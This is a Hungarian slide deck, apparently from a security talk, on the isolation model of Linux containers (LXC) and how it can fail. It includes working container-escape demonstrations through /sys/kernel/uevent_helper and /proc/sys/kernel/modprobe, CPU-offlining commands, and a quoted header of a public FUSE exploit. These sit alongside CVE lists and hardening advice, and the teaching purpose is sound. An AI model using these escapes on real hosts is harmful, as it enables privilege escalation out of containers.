Andrews Kft. Konténerek az IT biztonság szemszögéből. 131 /

Átírás

1 Andrews Kft. Konténerek az IT biztonság szemszögéből 131 /

2 Röviden a virtualizációról Az alap: egy vason, több rendszer. Virtualizáció előnyei: Jobb erőforrás kihasználhatóság. Rendkívüli rugalmasság új létrehozása, meglevő módosítása, másolása (clone), törlése, stb... Virtualizáció fajtái: Hypervisor alapú Operációs rendszer alapú Alkalmazás alapú igen, ők a konténerek 231 /

3 Egy kis konténer történelem /

4 Egy kis konténer történelem /

5 Virtualizációs tipúsokról vizuálisan :) 531 /

6 Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén 631 /

7 Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén Processz Processz Processz Guest Kernel VM (processz) Processz Processz Processz NET IPC USR NET IPC USR Virt HW Guest Kernel Virt HW VM (processz) NET IPC USR Host OS kernel Hardver Virtuális gépek esetén 731 /

8 Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén Processz Processz Processz Guest Kernel VM (processz) Processz Processz Processz NET IPC USR NET IPC USR Virt HW Guest Kernel Virt HW VM (processz) NET IPC USR Host OS kernel Hardver Virtuális gépek esetén 831 /

9 Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén Processz Processz Processz Guest Kernel VM (processz) Processz Processz Processz NET IPC USR NET IPC USR Virt HW Guest Kernel Virt HW VM (processz) NET IPC USR Host OS kernel Hardver Virtuális gépek esetén 931 /

10 Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Processz Processz NET IPC USR NET IPC USR Host OS kernel Hardver Normál működés esetén Konténerek használata esetén Processz Processz Processz Guest Kernel VM (processz) Hardver Processz Processz Processz NET IPC USR NET IPC USR Virt HW Host OS kernel Guest Kernel Virt HW VM (processz) NET IPC USR Virtuális gépek esetén 1031 /

11 Hypervisor vs Containers Teljes hardver környezetet emulál: HW támogatás szükséges A host szempontjából a guest csak 1 processz Host-tól független kernelt, OS-t is képes futtatni Költségesebb a futtatása Felépítéséből biztonságosabb eredően A szükséges alrendszereket példányosítja csak: Nincs speciális HW igény A host szempontjából minden futtatott alkalmazás processz egyedi processz Felépítéséből eredően kicsi az overhead Az összes guest alatt ugyanaz a kernel fut 1131 /

12 Az LXC biztonsági elemzése 1231 /

13 Linux-os konténerek felépítése Két fő részből tevődnek össze Namespace-ekből, feladatuk a példányosítás megvalósítása, fajtái: Chroot/pivot_root az elsők. MOUNT_NS Fájlrendszer (VFS) csatolásokra vonatkozó ns UTS_NS A hostnév névtérét fele. (a konténerünknek eltérhet a neve a hosttól) IPC_NS SHM, semaphores, message queues szerparációját valósítja meg USER_NS UID/GID-ek virtuális megfeleletetésér felel, a konténeren belül lehetnek saját uid-ek és gid-ek ( - ebben volt egy nagyon csúnya bug,!0 0) PID_NS a konténeren belül saját PID névtér van, hiheti magáról bármely processz hogy ő az 1-es PID (init), külső névtér nem címezhető pid alapján PID_NS!= /proc ns (ilyen nincs is...) NET_NS Teljes hálózati stack... Cgroups-okból erőforrások korlátozása cpuset, cpu, cpuacct, freezer, memory, blkio és devices erőforrás csoportok Egyéb: Capabilitik 1331 /

14 Chroot Rendszerhívás ill. a rá épülő segéd alkalmazás (csak) fájlrendszer szintű szeparációt valósít meg a hívó process és leszármazottai számára Ha nem megfelelően hívjuk akkor még fs szinten sem biztonságos Karbantarthatóság? / /var /lib /etc /var/www/.../www/cgi chdir(/var/www) chroot(.).../www/html 1431 /

15 Namespace-ek tulajdonságai Chroot (hierarchikus) Network (izolált) Mount (izolált/klónozható) PID (hierarchikus) UTS/Hostname (izolált) UID (hierarchikus) IPC (izolált) A szülő láthatja a gyerek erőforrásait Izolált NS-ek, nincs kapcsolat Bővebben: Többféle családfa lehetséges /

16 Capability-k A monolitikus root jog szétvált capability -kre Ezek eldobhatóvá váltak, csak azt tartjuk meg ami valóban kell a programunk számára Nem 0 uid is birtokolhatja Parancsok: capsh, man 7 capabilities Fontosabb capability-k: cap_audit_(write control) cap_(mac net sys)_admin cap_kill cap_linux_immutable cap_set_* cap_sys_(chroot module) es kernelben 37 van 1631 /

17 C(ontrol)groups Erőforrás limitáció Processz priorizálás Accounting: az egyes erőforrások használatának mérésére Kontroll: az egyes cgroupok leállítása, és újraindítása Parancsok: man cgcreate Szabályozható erőforrások: CPU Memória Block device-ok elérési sebessége Freezer alrendszer* Hálózati sávszélessére nem nyújt megoldást, arra marad a tc 1731 /

18 Hiányosságok és gyengeségek 1831 /

19 Hiányosságok, gyengeségek... A leggyengébb láncszem a közös kernel (nem Linux spec.) A virtualizált processzek közvetlenül a host kernellel állnak kapcsolatban Egy kernel bugra épülő exploit visz mindent Hypervisor alapú sebezhetőségénél, ez többnyire csak az adott guest-et viszi /proc mínusz PID_NS, /sys Pl: /proc/sys/vm/drop_cache, /proc/sysrq-trigger és társai echo 0 tee /sys/devices/system/cpu/cpu*/online ue memory-val [ ] kvm: disabling virtualization on CPU1 [ ] smpboot: CPU 1 is now offline 1931 /

20 Hiányosságok, gyengeségek... Ulimitek Mivel a konténerekben futó processzek a host kernel számára is valódi processzek, így az egyes processzekre vonatkozó limitek ugyanúgy érvényesek a konténerekben futó processzekre. Fork bombázás A cgroups erőforrás korlátozó beállításai ellenére is kellemetlenek lehetnek a fork bombák: A limitált CPU-t kihajtja ( Na és?! ) A limitált MEMoriát megeszi, swappelteti a rendszert Nyitott FD-ket szépen megeszi (másnak nem marad...) DoS! Max user processes, open files 2031 /

21 Hiányosságok, gyengeségek... Audit alrendszer (3.7-es kernel óta OK, de előtte ) A támadó az audit alrendszeren keresztül feltérképezhette a hoston és a többi konténerben futó processzeket, elég alaposan Kmsg (dmesg) [ ] jelenleg is működik a konténerből olvashatod a kernel üzeneteit, támadásoknál ezek hasznosak lehetnek /proc/sys/kernel/dmesg_restrict a barátunk ilyenkor 2131 /

22 Pivot_root / chroot Mik ezek? És hogyan lehet vele kitörni a konténerből vele? Chroot: This call does not close open file descriptors, and such file descriptors may allow access to files outside the chroot tree. Egy szép demonstárciója a problémának Lxc hív egy pivot_root vált rootfs-t, nyítva hagyja a kitöréshez szükséges fd-t lilo@hargita:~$ ps axfw grep lxc-start -C ? S 0:00 \_ lxc-start -n rr ? Ss 0:00 \_ /sbin/init lilo@hargita:~$ cd /proc; sudo ls -l 10294/root 10310/root Lrwxrwxrwx okt 17 11:09 /proc/10294/root -> / Lrwxrwxrwx okt 17 11:09 /proc/10310/root -> / 2231 /

23 kitörés a sysfs-en keresztül Ha root vagy a konténerben root leszel kint is... root@lxc# cat /tmp/evil_helper #!/bin/bash set >> /tmp/alma1 date >> /tmp/alma1 root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/evil_helper > /sys/kernel/uevent_helper root@lxc# cat /sys/kernel/uevent_helper /var/lib/lxc/lxc/rootfs/tmp/evil_helper root@lxc# echo change > /sys/class/mem/null/uevent hatására lefut a /var/lib/lxc/lxc/rootfs/tmp/evil_helper 2331 /

24 kitörés a procfs-en keresztül root@lxc# cat /tmp/x #!/bin/bash mkdir /tmp/12345alma root@lxc# cat /proc/sys/kernel/modprobe /sbin/modprobe root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/x > /proc/sys/kernel/modprobe root@telekom-vpn:/proc# iptables -t raw -nl iptables v1.4.21: can't initialize iptables table `raw': Table does not exist (do you need to insmod?) root@host:ls -dl /tmp/12345alma/ drw-rw root root 40 máj 19 09:41 /tmp/12345alma/ 2431 /

25 Ismert biztonsági hibák az implementációban [7.1] CVE : olyan hibát tartalmazott mely csak a network namespace használata esetén volt támadható [???] git:41c21e351e: talán nem exploitálható user_namespace bug... [7.8] CVE : DoS network namespace-en keresztül [7.2] CVE : biztosan exploitálható user_namespace bug [Lásd következő slide-on] [2.1] CVE : át lehetett chrootolni más (akár több joggal rendelkező) namespaceekbe [4.7] CVE : user_namespace memória szivágós DoS [6.2] CVE : állományrendszer capabilitik segítségével ki lehetett törni a konténerekből [7.2] CVE : nem védett a MNT_LOCK_READONLY mount flag módosítása ellen, újra lehetett mountolni RW módban [6.0] CVE : a fentiek mintájára a MNT_NODEV, MNT_NOSUID, és MNT_NOEXEC valamint MNT_ATIME_MASK opciók kijátszhatóak voltak egy kis bind mountolgatás segítségével* [4.6] CVE : lehetővé tette a csoporttagságok módosítását ezáltal a kizáró csoport alapú ACL-ek kijátszhatóak voltak 2531 /

26 Egy két érdekesség a hibákról CVE működése /* FUSE-based exploit for CVE Copyright (c) 2014 Andy Lutomirski CVE publikus exploitja Based on code that is: Copyright (C) Miklos Szeredi <miklos@szeredi.hu> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well. */ 2631 /

27 Védelmi lehetőségekről 2731 /

28 Védelmi lehetőségek, teendők 1. Az alaprendszer megerősítése Pax/Grsec, Apparmor, SELinux Szedjük szét több gépre a konténereinket, biztonsági besorolásuk szerint (akár a valódi hostok hálózati szeparációja esetében) Konténerek megerősítése Unpriveledged Containers, kontérnerek normál userként futnak! Capabilitik megfelelő használata Állományrendszer szintű capability-k este lxc.cgroup.devices lxc.cgroup.devices.deny = a # mindent tilos, lxc.cgroup.devices.allow = # kivéve amit szabad elv alkalmazása Minimalizálni kell a konténerben rootként futó alkalmazások számát és ha lehet jogait /

29 Védelmi lehetőségek, teendők 2. Seccomp alkalmazása Az LXC configban van rá lehetőség és példa konfig is A /proc és /sys mountolásának felülvizsgálata (részleges mount, RO mount) Auditd hangolása a konténerek felügyeletére Securebits (SECURE_NOROOT, SET_DUMPABLE) és társainak használata, man prctl :) Cgroups-ok mellett érdemes figyelni az rlimit-ek értékeire 2931 /

30 Hasznos biztonsági kütyük mbox firejail minijail Olvasnivalók /

31 Vége Köszönöm a figyelmet! Kérdések? 3131 /